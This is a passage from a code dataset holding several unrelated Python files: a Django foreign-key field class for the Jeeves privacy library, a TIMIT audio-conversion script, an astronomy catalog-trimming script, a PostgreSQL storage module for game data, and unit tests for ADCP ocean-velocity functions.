break\n else:\n # support non-Jeeves tables\n self.join_field = to._meta.pk\n #raise Exception(\"Need jeeves_id field\")\n\n kwargs['on_delete'] = models.DO_NOTHING\n super(JeevesForeignKey, self).__init__(to, [self], [self.join_field], *args, **kwargs)\n self.db_constraint = False\n\n @JeevesLib.supports_jeeves\n def contribute_to_class(self, cls, name, virtual_only=False):\n super(JeevesForeignKey, self).contribute_to_class(cls, name, virtual_only=virtual_only)\n setattr(cls, self.name, JeevesRelatedObjectDescriptor(self))\n\n @JeevesLib.supports_jeeves\n def get_attname(self):\n return '%s_id' % self.name\n \n @JeevesLib.supports_jeeves\n def get_attname_column(self):\n attname = self.get_attname()\n column = self.db_column or attname\n return attname, column\n\n @JeevesLib.supports_jeeves\n def db_type(self, connection):\n return IntegerField().db_type(connection=connection)\n\n @JeevesLib.supports_jeeves\n def get_path_info(self):\n opts = self.to._meta\n from_opts = self.model._meta\n return [django.db.models.fields.related.PathInfo(from_opts, opts, (self.join_field,), self, False, True)]\n\n @JeevesLib.supports_jeeves\n def get_joining_columns(self):\n return ((self.column, self.join_field.column),)\n\n @property\n def foreign_related_fields(self):\n return (self.join_field,)\n\n @property\n def local_related_fields(self):\n return (self,)\n\n @property\n def related_fields(self):\n return ((self, self.join_field),)\n\n @property\n def reverse_related_fields(self):\n return ((self.join_field, self),)\n\n @JeevesLib.supports_jeeves\n def get_extra_restriction(self, where_class, alias, related_alias):\n return None\n\n @JeevesLib.supports_jeeves\n def get_cache_name(self):\n return '_jfkey_cache_' + self.name\n\n def db_type(self, connection):\n return \"VARCHAR(%d)\" % JEEVES_ID_LEN\n","sub_path":"jeevesdb/JeevesModel.py","file_name":"JeevesModel.py","file_ext":"py","file_size_in_byte":18186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"517002118","text":"import os\n\n#\n# Please, modify the PATHs accordingly to your setup!\n#\n\ntrain_base = \"/local_disk/heracles/tparcollet/trash/e2esincnet/egs/timit/asr1/data/train_raw_nodev_25ms\"\ndev_base = \"/local_disk/heracles/tparcollet/trash/e2esincnet/egs/timit/asr1/data/train_raw_dev_25ms\"\ntest_base = \"/local_disk/heracles/tparcollet/trash/e2esincnet/egs/timit/asr1/data/test_raw_25ms\"\n\nprint(\"Creating data dirs...\")\nif not os.path.exists(train_base):\n os.makedirs(train_base)\n\nif not os.path.exists(dev_base):\n os.makedirs(dev_base)\n\nif not os.path.exists(test_base):\n os.makedirs(test_base)\n\ntrain_lst = open(\"/users/parcollet/KALDI/kaldi-trunk/egs/timit/s5/data/train/wav.scp\",\"r\").readlines()\ndev_lst = open(\"/users/parcollet/KALDI/kaldi-trunk/egs/timit/s5/data/dev/wav.scp\",\"r\").readlines()\ntest_lst = open(\"/users/parcollet/KALDI/kaldi-trunk/egs/timit/s5/data/test/wav.scp\",\"r\").readlines()\n\nout_train_lst = open(train_base+\"/wav.lst\", \"w\")\nout_dev_lst = open(dev_base+\"/wav.lst\", \"w\")\nout_test_lst = open(test_base+\"/wav.lst\", \"w\")\n\nprint(\"Converting audio files...\")\nfor line in train_lst:\n file_path = line.split(\" \")[4]\n os.system(\"sox \"+file_path+\" \"+file_path.split(\".\")[0]+\".wav\")\n out_train_lst.write(line.split(\" \")[0]+\" \"+file_path.split(\".\")[0]+\".wav\\n\")\n\nfor line in dev_lst:\n file_path = line.split(\" \")[4]\n os.system(\"sox \"+file_path+\" \"+file_path.split(\".\")[0]+\".wav\")\n out_dev_lst.write(line.split(\" \")[0]+\" \"+file_path.split(\".\")[0]+\".wav\\n\")\n\nfor line in test_lst:\n file_path = line.split(\" \")[4]\n os.system(\"sox \"+file_path+\" \"+file_path.split(\".\")[0]+\".wav\")\n out_test_lst.write(line.split(\" \")[0]+\" \"+file_path.split(\".\")[0]+\".wav\\n\")\n\nprint(\"Done.\")\n","sub_path":"egs/timit/asr1/local/convert_sph_to_wav_kaldiscp_timit.py","file_name":"convert_sph_to_wav_kaldiscp_timit.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"291492327","text":"from __future__ import division, print_function\nimport sys, os, glob, time, warnings\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom astropy.table import Table, vstack\nimport fitsio\nimport healpy as hp\nimport gc\n\nsys.path.append(os.path.expanduser(\"~\")+'/git/Python/user_modules/')\nfrom match_coord import match_coord\n\n# sys.path.append(os.path.expanduser('~/git/desi-lrg-selection'))\nimport desi_lrg_selection\n\ndata_dir = '/global/project/projectdirs/cosmo/data/legacysurvey/dr7/sweep/7.1/'\noutput_path = '/global/cscratch1/sd/rongpu/dr7_lrg_photoz/misc/wise_bright_star_arcs/dr7_trimmed.fits'\n\nfilelist = sorted(glob.glob(os.path.join(data_dir, '*.fits')))\n\ncolumns = ['RA', 'DEC', 'FLUX_G', 'FLUX_R', 'FLUX_Z', 'FLUX_W1', 'FLUX_W2',\n 'FLUX_IVAR_G', 'FLUX_IVAR_R', 'FLUX_IVAR_Z', 'FLUX_IVAR_W1', 'FLUX_IVAR_W2',\n 'FIBERFLUX_G', 'FIBERFLUX_R', 'FIBERFLUX_Z',\n 'NOBS_G', 'NOBS_R', 'NOBS_Z', 'TYPE', 'BRIGHTSTARINBLOB',\n 'MW_TRANSMISSION_G', 'MW_TRANSMISSION_R', 'MW_TRANSMISSION_Z', 'MW_TRANSMISSION_W1', 'MW_TRANSMISSION_W2']\n\ncolumns_to_keep = ['RA', 'DEC', 'gmag', 'rmag', 'zmag', 'w1mag', 'w2mag',\n 'gmagerr', 'rmagerr', 'zmagerr', 'w1magerr', 'w2magerr', \n 'gfibermag', 'rfibermag', 'zfibermag',\n 'NOBS_G', 'NOBS_R', 'NOBS_Z', 'TYPE', 'BRIGHTSTARINBLOB', 'MW_TRANSMISSION_W1', 'MW_TRANSMISSION_W2']\n\n# IR selection parameters\nir_params = {\n'z_min':18.01, 'z_max':20.41,\n'ns_a':None, 'ns_b':None,\n'ir_a':None, 'ir_b':None,\n'broad_rz_min':0.75, 'broad_rz_max':2.45,\n'rz_min':1.15, 'gr_min':1.65,\n}\n\n# Load 2MASS BRIGHTEST star catalog\ntwomass = Table.read('/global/homes/r/rongpu/data/2mass_brightest_stars.txt', format='ascii.commented_header')\nprint(len(twomass))\n\n# Select only nearby objects/randoms to speed up computation\nnside = 512\npix_area = hp.pixelfunc.nside2pixarea(nside, degrees=True)\nprint('Pixel area:', pix_area)\n\npix_search_radius = 5*3600 # arcsec\n\npix_star = np.unique(hp.pixelfunc.ang2pix(nside, twomass['RA'], twomass['DEC'], lonlat=True))\npix_star_ra, pix_star_dec = hp.pixelfunc.pix2ang(nside, pix_star, lonlat=True)\n\n# def trim_sweep(fileindex):\nfor fileindex in range(len(filelist)):\n\n filename = filelist[fileindex]\n\n print('Loading - %d/%d - '%(fileindex+1, len(filelist)) + filename)\n\n cat = fitsio.read(filename, columns=['RA', 'DEC', 'NOBS_G', 'NOBS_R', 'NOBS_Z', 'FLUX_Z', 'MW_TRANSMISSION_Z'])\n \n # Require >=2 visits in g,r and z;\n # Also apply the magnitude cut\n idx = np.where((cat['NOBS_G']>=2) & (cat['NOBS_R']>=2) & (cat['NOBS_Z']>=2)\n & ((cat['FLUX_Z']/cat['MW_TRANSMISSION_Z']) > 10**(0.4*(22.5-ir_params['z_max']))))[0]\n\n if len(idx)==0:\n continue\n\n # LRGs\n pix_cat_all = hp.pixelfunc.ang2pix(nside, cat['RA'][idx], cat['DEC'][idx], lonlat=True)\n pix_cat = np.unique(pix_cat_all)\n pix_cat_ra, pix_cat_dec = hp.pixelfunc.pix2ang(nside, pix_cat, lonlat=True)\n idx_star, idx_cat, _, _, _ = match_coord(pix_star_ra, pix_star_dec, pix_cat_ra, pix_cat_dec, search_radius=pix_search_radius, plot_q=False, verbose=False, keep_all_pairs=True)\n pix_cat_nearby = np.unique(pix_cat[idx_cat])\n\n mask = np.in1d(pix_cat_all, pix_cat_nearby)\n idx = idx[mask]\n \n if len(idx)==0:\n continue\n\n cat = fitsio.read(filename, columns=columns, rows=idx)\n cat = Table(cat)\n print(len(cat))\n\n # Apply extinction correction\n cat['FLUX_G'] = cat['FLUX_G']/cat['MW_TRANSMISSION_G']\n cat['FLUX_R'] = cat['FLUX_R']/cat['MW_TRANSMISSION_R']\n cat['FLUX_Z'] = cat['FLUX_Z']/cat['MW_TRANSMISSION_Z']\n cat['FLUX_W1'] = cat['FLUX_W1']/cat['MW_TRANSMISSION_W1']\n cat['FLUX_W2'] = cat['FLUX_W2']/cat['MW_TRANSMISSION_W2']\n cat['FIBERFLUX_G'] = cat['FIBERFLUX_G']/cat['MW_TRANSMISSION_G']\n cat['FIBERFLUX_R'] = cat['FIBERFLUX_R']/cat['MW_TRANSMISSION_R']\n cat['FIBERFLUX_Z'] = cat['FIBERFLUX_Z']/cat['MW_TRANSMISSION_Z']\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n cat['gmag'] = 22.5 - 2.5*np.log10(cat['FLUX_G'])\n cat['rmag'] = 22.5 - 2.5*np.log10(cat['FLUX_R'])\n cat['zmag'] = 22.5 - 2.5*np.log10(cat['FLUX_Z'])\n cat['w1mag'] = 22.5 - 2.5*np.log10(cat['FLUX_W1'])\n cat['w2mag'] = 22.5 - 2.5*np.log10(cat['FLUX_W2'])\n cat['gfibermag'] = 22.5 - 2.5*np.log10(cat['FIBERFLUX_G'])\n cat['rfibermag'] = 22.5 - 2.5*np.log10(cat['FIBERFLUX_R'])\n cat['zfibermag'] = 22.5 - 2.5*np.log10(cat['FIBERFLUX_Z'])\n\n cat['gmag'][~np.isfinite(cat['gmag'])] = 99.\n cat['rmag'][~np.isfinite(cat['rmag'])] = 99.\n cat['zmag'][~np.isfinite(cat['zmag'])] = 99.\n cat['w1mag'][~np.isfinite(cat['w1mag'])] = 99.\n cat['w2mag'][~np.isfinite(cat['w2mag'])] = 99.\n cat['gfibermag'][~np.isfinite(cat['gfibermag'])] = 99.\n cat['rfibermag'][~np.isfinite(cat['rfibermag'])] = 99.\n cat['zfibermag'][~np.isfinite(cat['zfibermag'])] = 99.\n\n cat['gmagerr'] = 1/np.sqrt(cat['FLUX_IVAR_G'])/cat['FLUX_G']\n cat['rmagerr'] = 1/np.sqrt(cat['FLUX_IVAR_R'])/cat['FLUX_R']\n cat['zmagerr'] = 1/np.sqrt(cat['FLUX_IVAR_Z'])/cat['FLUX_Z']\n cat['w1magerr'] = 1/np.sqrt(cat['FLUX_IVAR_W1'])/cat['FLUX_W1']\n cat['w2magerr'] = 1/np.sqrt(cat['FLUX_IVAR_W2'])/cat['FLUX_W2']\n\n mask = np.ones(len(cat), dtype=bool)\n\n with warnings.catch_warnings():\n \n warnings.simplefilter(\"ignore\")\n\n ############################## Quality cuts ##############################\n\n # Quality in r: SNR_R > 0 && RFLUX > 0\n mask &= (cat['FLUX_R']>0) & (cat['FLUX_IVAR_R']>0)\n\n # Quality in z: SNR_Z > 0 && ZFLUX > 0\n mask &= (cat['FLUX_Z']>0) & (cat['FLUX_IVAR_Z']>0)\n\n ###########################################################################\n\n mask &= desi_lrg_selection.ir_select_v3(ir_params, cat, verbose=False)\n\n if np.sum(mask)==0:\n continue\n\n cat = cat[mask]\n print(len(cat))\n\n # Remove unwanted columns\n cat = cat[columns_to_keep]\n\n # clear cache\n gc.collect()\n\n # return cat\n\n if fileindex==0:\n cat_stack = cat.copy()\n else:\n cat_stack = vstack([cat_stack, cat])\n\n # \"Fix\" bug in vstack that creates excessively long strings\n cat_stack['TYPE'] = np.array(cat_stack['TYPE'], dtype='a4')\n\n gc.collect()\n\nprint('Final combined catalog:', len(cat_stack))\n\ncat_stack.write(output_path)","sub_path":"bright_star_masking/dr7/wise_bright_star_arcs/lrg_unwise_catalog_selection/trim_decals_catalogs.py","file_name":"trim_decals_catalogs.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"556154857","text":"import psycopg2 as pg\nimport uuid\nimport datetime as dt\n\ndef connect_to_db(config):\n connection = pg.connect(dbname=config['dbName'],\n user=config['dbUser'],\n host=config['dbHost'],\n port=config['dbPort'])\n return connection\n\ndef store_game(db_connection, game_data):\n cursor = db_connection.cursor()\n\n game_id = str(uuid.uuid4())\n game_query= \"INSERT INTO game(id, final_score, start_time, total_time) VALUES(\" + _n_values_str(4) + \")\"\n\n start_time = dt.datetime.fromtimestamp(int(game_data['startTime']) / 1e3)\n game_values = (game_id,\n game_data['finalScore'],\n start_time,\n game_data['time'])\n cursor.execute(game_query, game_values)\n\n block_fronts = {}\n _store_blocks(game_data['initialInfo'], game_id, block_fronts, cursor)\n\n _store_actions(game_data['actions'], game_id, start_time, block_fronts, cursor)\n\n\n db_connection.commit()\n\ndef _store_actions(actions, game_id, start_time, block_fronts, cursor):\n for action in actions:\n action_type = action['type']\n if action_type == 'gesture':\n _store_gesture(action, game_id, start_time, cursor)\n elif action_type == 'command':\n _store_command(action, game_id, start_time, cursor)\n elif action_type == 'flip':\n _store_flip(action, game_id, start_time, block_fronts, cursor)\n elif action_type == 'movement':\n _store_movement(action, game_id, start_time, block_fronts, cursor)\n\ndef _store_blocks(blocks, game_id, block_fronts, cursor):\n for block in blocks:\n block_id = block['id']\n front_color = block['color']\n front_letter = block['letter']\n block_fronts[block_id] = (front_color, front_letter)\n\n block_query = \"INSERT INTO block(id, game_id, front_color, back_color, front_letter, back_letter) VALUES( \" + _n_values_str(6) + \")\"\n block_values = (block_id,\n game_id,\n front_color,\n block['flipColor'],\n front_letter,\n block['flipLetter'])\n cursor.execute(block_query, block_values)\n\ndef _store_gesture(action, game_id, start_time, cursor):\n gesture_id = str(uuid.uuid4())\n time = _datetime_from_string(action['time'])\n time_diff = (time-start_time).total_seconds()\n gesture_query = \"INSERT INTO gesture(id, game_id, game_time, x, y) VALUES(\" + _n_values_str(5) + \")\"\n gesture_values = (gesture_id,\n game_id,\n time_diff,\n action['left_pos'],\n action['top_pos'])\n cursor.execute(gesture_query, gesture_values)\n\ndef _store_command(action, game_id, start_time, cursor):\n command_id = str(uuid.uuid4())\n time = _datetime_from_string(action['time'])\n time_diff = (time-start_time).total_seconds()\n command_query = \"INSERT INTO command(id, game_id, game_time, text) VALUES(\" + _n_values_str(4) + \")\"\n command_values = (command_id,\n game_id,\n time_diff,\n action['text'])\n cursor.execute(command_query, command_values)\n\ndef _store_flip(action, game_id, start_time, block_fronts, cursor):\n block_id = action['id']\n flip_id = str(uuid.uuid4())\n time = _datetime_from_string(action['time'])\n time_diff = (time-start_time).total_seconds()\n flip_query = \"INSERT INTO flip(id, game_id, game_time, block_id, front_facing, x, y) VALUES(\" + _n_values_str(7) + \")\"\n flip_values = (flip_id,\n game_id,\n time_diff,\n block_id,\n block_fronts[block_id] == (action['color'], action['letter']),\n action['left_pos'],\n action['top_pos'])\n cursor.execute(flip_query, flip_values)\n\ndef _store_movement(action, game_id, start_time, block_fronts, cursor):\n block_id = action['id']\n move_id = str(uuid.uuid4())\n time = _datetime_from_string(action['time'])\n time_diff = (time-start_time).total_seconds()\n move_query = \"INSERT INTO move(id, game_id, game_time, block_id, front_facing, start_x, start_y, end_x, end_y) VALUES(\" + _n_values_str(9) + \")\"\n move_values = (move_id,\n game_id,\n time_diff,\n block_id,\n block_fronts[block_id] == (action['color'], action['letter']),\n action['left_pos'],\n action['top_pos'],\n action['new_left_pos'],\n action['new_top_pos'])\n cursor.execute(move_query, move_values)\n\ndef _store_survey(db_connection, survey_data):\n cursor = db_connection.cursor()\n cursor.execute(\"INSERT INTO survey(q1) VALUES(%s)\", (survey_data['q1'],))\n db_connection.commit()\n\ndef _n_values_str(num_values):\n return \"\".join([\"%s, \" for _ in range(num_values - 1)] + [\"%s\"])\n\ndef _datetime_from_string(date_str):\n # js timestamp is in ms, this expects s\n return dt.datetime.strptime(date_str, '%m/%d/%Y %H:%M:%S')\n","sub_path":"server/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":5154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"101659989","text":"\"\"\"\n@package ion_functions.test.adcp_functions\n@file ion_functions/test/test_adcp_functions.py\n@author Christopher Wingard\n@brief Unit tests for adcp_functions module\n\"\"\"\n\nfrom nose.plugins.attrib import attr\nfrom ion_functions.test.base_test import BaseUnitTestCase\n\nimport numpy as np\n\nfrom ion_functions.data import adcp_functions as af\n\n\n@attr('UNIT', group='func')\nclass TestADCPFunctionsUnit(BaseUnitTestCase):\n\n def setUp(self):\n # set test inputs -- values from DPS\n self.b1 = np.array([-0.0300, -0.2950, -0.5140, -0.2340, -0.1880,\n 0.2030, -0.3250, 0.3050, -0.2040, -0.2940]) * 1000\n self.b2 = np.array([0.1800, -0.1320, 0.2130, 0.3090, 0.2910,\n 0.0490, 0.1880, 0.3730, -0.0020, 0.1720]) * 1000\n self.b3 = np.array([-0.3980, -0.4360, -0.1310, -0.4730, -0.4430,\n 0.1880, -0.1680, 0.2910, -0.1790, 0.0080]) * 1000\n self.b4 = np.array([-0.2160, -0.6050, -0.0920, -0.0580, 0.4840,\n -0.0050, 0.3380, 0.1750, -0.0800, -0.5490]) * 1000\n self.echo = np.array([0, 25, 50, 75, 100, 125, 150, 175, 200, 225, 250])\n self.sfactor = 0.45\n self.heading = 98.4100 * 100.\n self.pitch = 0.6900 * 100.\n self.roll = -2.5400 * 100.\n self.orient = 1\n self.lat = 50.0000\n self.lon = -145.0000\n self.depth = 0.0\n self.ntp = 3545769600.0 # May 12, 2012\n\n # set expected results -- velocity profiles in earth coordinates\n # (values in DPS)\n self.uu = np.array([0.2175, -0.2814, -0.1002, 0.4831, 1.2380,\n -0.2455, 0.6218, -0.1807, 0.0992, -0.9063])\n self.vv = np.array([-0.3367, -0.1815, -1.0522, -0.8676, -0.8919,\n 0.2585, -0.8497, -0.0873, -0.3073, -0.5461])\n self.ww = np.array([0.1401, 0.3977, 0.1870, 0.1637, 0.0091,\n -0.1290, 0.0334, -0.3017, 0.1384, 0.1966])\n\n # set expected results -- magnetic variation correction applied\n # (computed in Matlab using above values and mag_var.m)\n self.uu_cor = np.array([0.1099, -0.3221, -0.4025, 0.2092, 0.9243,\n -0.1595, 0.3471, -0.1983, 0.0053, -1.0261])\n self.vv_cor = np.array([-0.3855, -0.0916, -0.9773, -0.9707, -1.2140,\n 0.3188, -0.9940, -0.0308, -0.3229, -0.2582])\n\n # set the expected results -- echo intensity conversion from counts to dB\n self.dB = np.array([0.00, 11.25, 22.50, 33.75, 45.00, 56.25, 67.50,\n 78.75, 90.00, 101.25, 112.50])\n\n def test_adcp_beam(self):\n \"\"\"\n Tests adcp_beam2ins, adcp_ins2earth and magnetic_correction functions\n for ADCPs that output data in beam coordinates. All three functions\n must return the correct output for final tests cases to work.\n\n Values based on those defined in DPS:\n\n OOI (2012). Data Product Specification for Velocity Profile and Echo\n Intensity. Document Control Number 1341-00750.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00750_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n Implemented by:\n\n 2013-04-10: Christopher Wingard. Initial code.\n 2014-02-06: Christopher Wingard. Added tests to confirm arrays of\n arrays can be processed (in other words, vectorized the\n code).\n \"\"\"\n # single record case\n got_uu_cor = af.adcp_beam_eastward(self.b1, self.b2, self.b3, self.b4,\n self.heading, self.pitch, self.roll, self.orient,\n self.lat, self.lon, self.depth, self.ntp)\n got_vv_cor = af.adcp_beam_northward(self.b1, self.b2, self.b3, self.b4,\n self.heading, self.pitch, self.roll, self.orient,\n self.lat, self.lon, self.depth, self.ntp)\n got_ww = af.adcp_beam_vertical(self.b1, self.b2, self.b3, self.b4,\n self.heading, self.pitch, self.roll, self.orient)\n #error = af.adcp_beam_vertical(self.b1, self.b2, self.b3, self.b4,\n # self.heading, self.pitch, self.roll, self.orient,\n # self.lat, self.lon, self.depth, self.ntp)\n\n # test results\n np.testing.assert_array_almost_equal(got_uu_cor, np.atleast_2d(self.uu_cor), 4)\n np.testing.assert_array_almost_equal(got_vv_cor, np.atleast_2d(self.vv_cor), 4)\n np.testing.assert_array_almost_equal(got_ww, np.atleast_2d(self.ww), 4)\n\n # reset the test inputs for multiple records\n b1 = np.tile(self.b1, (24, 1))\n b2 = np.tile(self.b2, (24, 1))\n b3 = np.tile(self.b3, (24, 1))\n b4 = np.tile(self.b4, (24, 1))\n heading = np.ones(24) * self.heading\n pitch = np.ones(24) * self.pitch\n roll = np.ones(24) * self.roll\n orient = np.ones(24) * self.orient\n lat = np.ones(24) * self.lat\n lon = np.ones(24) * self.lon\n depth = np.ones(24) * self.depth\n ntp = np.ones(24) * self.ntp\n\n # reset outputs for multiple records\n uu_cor = np.tile(self.uu_cor, (24, 1))\n vv_cor = np.tile(self.vv_cor, (24, 1))\n ww = np.tile(self.ww, (24, 1))\n\n # multiple record case\n got_uu_cor = af.adcp_beam_eastward(b1, b2, b3, b4,\n heading, pitch, roll, orient,\n lat, lon, depth, ntp)\n got_vv_cor = af.adcp_beam_northward(b1, b2, b3, b4,\n heading, pitch, roll, orient,\n lat, lon, depth, ntp)\n got_ww = af.adcp_beam_vertical(b1, b2, b3, b4,\n heading, pitch, roll, orient)\n #error = af.adcp_beam_vertical(b1, b2, b3, b4,\n # heading, pitch, roll, orient,\n # lat, lon, depth, ntp)\n\n # test results\n np.testing.assert_array_almost_equal(got_uu_cor, uu_cor, 4)\n np.testing.assert_array_almost_equal(got_vv_cor, vv_cor, 4)\n np.testing.assert_array_almost_equal(got_ww, ww, 4)\n\n def test_adcp_earth(self):\n \"\"\"\n Tests magnetic_correction function for ADCPs set to output data in the\n Earth Coordinate system.\n\n Values were not defined in DPS, were recreated using test values above:\n\n OOI (2012). Data Product Specification for Velocity Profile and Echo\n Intensity. Document Control Number 1341-00750.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00750_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n Implemented by Christopher Wingard, 2014-02-06\n \"\"\"\n\n # set the test data\n u, v, w, e = af.adcp_beam2ins(self.b1, self.b2, self.b3, self.b4)\n\n ### old adcp_ins2earth returned 3 variables\n uu, vv, ww = af.adcp_ins2earth(u, v, w, self.heading / 100.,\n self.pitch / 100., self.roll / 100., self.orient)\n\n # test the magnetic variation correction\n got_uu_cor = af.adcp_earth_eastward(uu, vv, self.depth, self.lat, self.lon, self.ntp)\n got_vv_cor = af.adcp_earth_northward(uu, vv, self.depth, self.lat, self.lon, self.ntp)\n\n np.testing.assert_array_almost_equal(got_uu_cor, np.atleast_2d(self.uu_cor), 4)\n np.testing.assert_array_almost_equal(got_vv_cor, np.atleast_2d(self.vv_cor), 4)\n\n # reset the test inputs for multiple records\n uu = np.tile(uu, (24, 1))\n vv = np.tile(vv, (24, 1))\n depth = np.ones(24) * self.depth\n lat = np.ones(24) * self.lat\n lon = np.ones(24) * self.lon\n ntp = np.ones(24) * self.ntp\n\n # reset expected results for multiple records\n uu_cor = np.tile(self.uu_cor, (24, 1))\n vv_cor = np.tile(self.vv_cor, (24, 1))\n\n # compute the results for multiple records\n got_uu_cor = af.adcp_earth_eastward(uu, vv, depth, lat, lon, ntp)\n got_vv_cor = af.adcp_earth_northward(uu, vv, depth, lat, lon, ntp)\n\n # test the magnetic variation correction\n np.testing.assert_array_almost_equal(got_uu_cor, uu_cor, 4)\n np.testing.assert_array_almost_equal(got_vv_cor, vv_cor, 4)\n\n def test_adcp_echo(self):\n \"\"\"\n Tests echo intensity scaling function for ADCPs in order to convert\n from echo intensity in counts to dB.\n\n Values were not defined in DPS, were created using test values above:\n\n OOI (2012). Data Product Specification for Velocity Profile and Echo\n Intensity. Document Control Number 1341-00750.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00750_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n Implemented by Christopher Wingard, 2014-02-06\n \"\"\"\n # the single record case\n got = af.adcp_backscatter(self.echo, self.sfactor)\n np.testing.assert_array_almost_equal(got, self.dB, 4)\n\n # the multi-record case -- inputs\n raw = np.tile(self.echo, (24, 1))\n sf = np.ones(24) * self.sfactor\n\n # the multi-record case -- outputs\n dB = np.tile(self.dB, (24, 1))\n got = af.adcp_backscatter(raw, sf)\n np.testing.assert_array_almost_equal(got, dB, 4)\n\n def test_vadcp_beam(self):\n \"\"\"\n Tests vadcp_beam_eastward, vadcp_beam_northward,\n vadcp_beam_vertical_est and vadcp_beam_vertical_true functions (which\n call adcp_beam2ins and adcp_ins2earth) for the specialized 5-beam ADCP.\n Application of the magnetic correction and conversion from mm/s to m/s\n is not applied.\n\n Values based on those defined in DPS:\n\n OOI (2012). Data Product Specification for Turbulent Velocity Profile\n and Echo Intensity. Document Control Number 1341-00760.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00760_Data_Product_SPEC_VELTURB_OOI.pdf)\n\n Implemented by:\n\n 2014-07-24: Christopher Wingard. Initial code.\n \"\"\"\n # test inputs\n b1 = np.ones((10, 10)) * -325\n b2 = np.ones((10, 10)) * 188\n b3 = np.ones((10, 10)) * 168\n b4 = np.ones((10, 10)) * -338\n b5 = np.ones((10, 10)) * -70\n\n heading = np.array([30, 30, 30, 30, 30,\n 32, 32, 32, 32, 32])\n pitch = np.array([0, 2, 3, 3, 1, 2, 2, 3, 3, 1])\n roll = np.array([0, 4, 3, 4, 3, 3, 4, 3, 4, 3])\n orient = np.ones(10)\n\n # expected outputs\n vle = np.array([279.6195, 282.6881, 281.8311, 282.7147,\n 282.1188, 246.2155, 246.9874, 246.1226,\n 247.0156, 246.4276]).reshape(-1, 1)\n vle = np.reshape(np.tile(vle, 10), (10, 10))\n\n vln = np.array([-1015.5964, -1018.0226, -1018.2595, -1017.9765,\n -1017.7612, -1027.3264, -1027.2681, -1027.4749,\n -1027.2230, -1026.9870]).reshape(-1, 1)\n vln = np.reshape(np.tile(vln, 10), (10, 10))\n\n vlu = np.array([81.6756, 3.3916, 3.5950, -9.4974,\n 29.4154, 16.5077, 3.3916, 3.5950,\n -9.4974, 29.4154]).reshape(-1, 1)\n vlu = np.reshape(np.tile(vlu, 10), (10, 10))\n\n evl = np.array([34.1128, 34.1128, 34.1128, 34.1128,\n 34.1128, 34.1128, 34.1128, 34.1128,\n 34.1128, 34.1128]).reshape(-1, 1)\n evl = np.reshape(np.tile(evl, 10), (10, 10))\n\n w5 = np.array([70.0000, -8.2485, -8.0487, -21.1287,\n 17.7575, 4.8552, -8.2485, -8.0487,\n -21.1287, 17.7575]).reshape(-1, 1)\n w5 = np.reshape(np.tile(w5, 10), (10, 10))\n\n # test the transformations\n u, v, w_est, e = af.adcp_beam2ins(b1, b2, b3, b4)\n uu, vv, ww_est = af.adcp_ins2earth(u, v, w_est, heading, pitch, roll, orient)\n _, _, ww_true = af.adcp_ins2earth(u, v, b5, heading, pitch, roll, orient)\n\n # compare the results\n np.testing.assert_array_almost_equal(uu, vle, 4)\n np.testing.assert_array_almost_equal(vv, vln, 4)\n np.testing.assert_array_almost_equal(ww_est, vlu, 4)\n np.testing.assert_array_almost_equal(e, evl, 4)\n np.testing.assert_array_almost_equal(ww_true, w5, 4)\n\n def test_adcp_bin_depths(self):\n \"\"\"\n Test the adcp_bin_depths function.\n\n Values based on that described in DPS as available on Alfresco:\n\n OOI (2012). Data Product Specification for Velocity Profile and Echo\n Intensity. Document Control Number 1341-00750.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00050_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n Implemented by Craig Risien, January 2015\n \"\"\"\n\n # test inputs\n adcp_orientation = 1\n bin_size = 400\n dist_first_bin = 900\n latitude = 45\n num_bins = 29\n pressure = 453.18107174009884\n # expected outputs\n expected_bins = np.array([441., 437., 433., 429., 425., 421., 417., 413., 409., 405., 401., 397., 393., 389.,\n 385., 381., 377., 373., 369., 365., 361., 357., 353., 349., 345., 341., 337., 333.,\n 329.])\n # calculate bin depths\n calculated_bins = af.adcp_bin_depths(dist_first_bin, bin_size, num_bins, pressure, adcp_orientation, latitude)\n\n # compare calculated results to expected results\n np.testing.assert_allclose(calculated_bins, expected_bins, rtol=0.000001, atol=0.000001)\n\n # test inputs\n adcp_orientation = 0\n bin_size = 400\n dist_first_bin = 900\n latitude = 45\n num_bins = 29\n pressure = 7.0571553792780017\n # expected outputs\n expected_bins = np.array([16., 20., 24., 28., 32., 36., 40., 44., 48., 52., 56., 60., 64., 68., 72., 76., 80., 84.,\n 88., 92., 96., 100., 104., 108., 112., 116., 120., 124., 128.])\n # calculate bin depths\n calculated_bins = af.adcp_bin_depths(dist_first_bin, bin_size, num_bins, pressure, adcp_orientation, latitude)\n\n # compare calculated results to expected results\n np.testing.assert_allclose(calculated_bins, expected_bins, rtol=0.000001, atol=0.000001)\n\n def test_adcp_bin_depths_pd8(self):\n \"\"\"\n Test the adcp_bin_depths_pd8 function.\n\n Values based on that described in DPS as available on Alfresco:\n\n OOI (2012). Data Product Specification for Velocity Profile and Echo\n Intensity. Document Control Number 1341-00750.\n https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n >> Controlled >> 1000 System Level >>\n 1341-00050_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n Implemented by Craig Risien, January 2015\n \"\"\"\n\n # test inputs\n adcp_orientation = 1\n bin_size = 400\n dist_first_bin = 900\n num_bins = 29\n sensor_depth = 450\n # expected 